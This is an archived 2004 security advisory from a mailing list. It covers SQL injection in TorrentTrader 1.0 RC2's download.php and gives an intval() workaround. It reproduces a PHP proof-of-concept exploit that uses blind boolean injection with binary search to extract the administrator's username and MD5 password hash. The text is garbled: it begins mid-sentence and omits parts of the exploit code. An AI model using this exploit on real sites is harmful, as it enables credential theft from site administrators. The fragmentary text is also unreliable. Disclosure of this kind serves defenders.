# [UNIX] TorrentTrader SQL Injection

***Source:*** http://www.derkeiler.com/Mailing−Lists/Securiteam/2004−09/0014.html

---

***From:*** SecuriTeam (*support_at_securiteam.com*)
***Date:*** 09/06/04

```
To: list@securiteam.com
Date: 6 Sep 2004 13:04:00 +0200
```

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
− − promotion

The SecuriTeam alerts list − Free, Accurate, Independent.

Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html

− − − − − − − − −

TorrentTrader SQL Injection
−−−

"union select" construct and finally it obtains the username and password
MD5 hash.

Usage:
$ php4 −q ./tt_sqli_poc.php "http://127.0.0.1/torrenttrade"

Workaround
A simple workaround would be to edit line 13 in download.php and replace
it from:
$res = mysql_query("SELECT filename FROM torrents WHERE id = $id");

to:
$res = mysql_query("SELECT filename FROM torrents WHERE id =
".intval($id));

Proof Of Concept
#!/usr/bin/php

<?

/*

TorrentTrader 1.0 RC2 SQL Injection Proof of Concept
By aCiDBiTS acidbits@hotmail.com 31−August−2004

"TorrentTrader (http://www.torrenttrader.com/) is a feature packed
and
highly customisable open−source BitTorrent tracker."

This PoC dumps the username and password's md5 hash of first user
in
TorrentTrader web application database, that should be the administrator.
First it fetchs a valid torrent id, then it determines if database's user
can perform "union select" and finally obtains the username and
md5(password). Tested on TorrentTrader 1.0 RC2, maybe older versions also
vulnerable.

Usage (in my debian box):
php4 −q ./tt_sqli_poc.php "http://127.0.0.1/torrenttrade"

++ Vulnerability description & workaround++

There is no user input sanization for parameter "id" in
download.php prior
beeing used in a SQL query. This can be exploited to manipulate SQL
queries
by injecting arbitrary SQL code. A workaround to solve this is to modify
download.php, line13:

$res = mysql_query("SELECT filename FROM torrents WHERE id =
$id");

```
        With:

        $res = mysql_query("SELECT filename FROM torrents WHERE id =
".intval($id));

*/

echo "+−−−
```

```
	$unval= "
0123456789ABCDEFGHIJKLMNOPRSTUVWXYZabcdefghijklmnopqrstuvwxyz";
	$idx=1;
	$min=0;
	$max=strlen($unval);
	while($min!=$max) {
		$mid=$min+(($max−$min)/2);
		if(
test_cond($bas."id=1%20and%20ord(substring($field,$idx,1))=".ord(substr($unval,$mid,1)))
) {
			$idx++;
			echo substr($unval,$mid,1);
			$min=0;
			$max=strlen($unval);
			if(
!test_cond($bas."id=1%20and%20ord(substring($field,$idx,1))") )
return;
		} else {
			if(
test_cond($bas."id=1%20and%20ord(substring($field,$idx,1))<".ord(substr($unval,$mid,1)))
) $max=$mid;
			else $min=$mid;
		}
	}
	die( "\n\nUnexpected error!\n\n");
}

function get_web($url)
{
	$ch=curl_init();
	curl_setopt ($ch, CURLOPT_URL, $url);
	curl_setopt ($ch, CURLOPT_HEADER, 0);
	curl_setopt ($ch, CURLOPT_RETURNTRANSFER,1);
	$data=curl_exec ($ch);
	curl_close ($ch);
	return $data;
}

/* \ /
	(Oo)
	//||\\ */

?>
```

ADDITIONAL INFORMATION

The information has been provided by <mailto:acidbits@hotmail.com>
acidbits.

==========

This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to:
list−unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list−subscribe@securiteam.com

==========
==========

DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.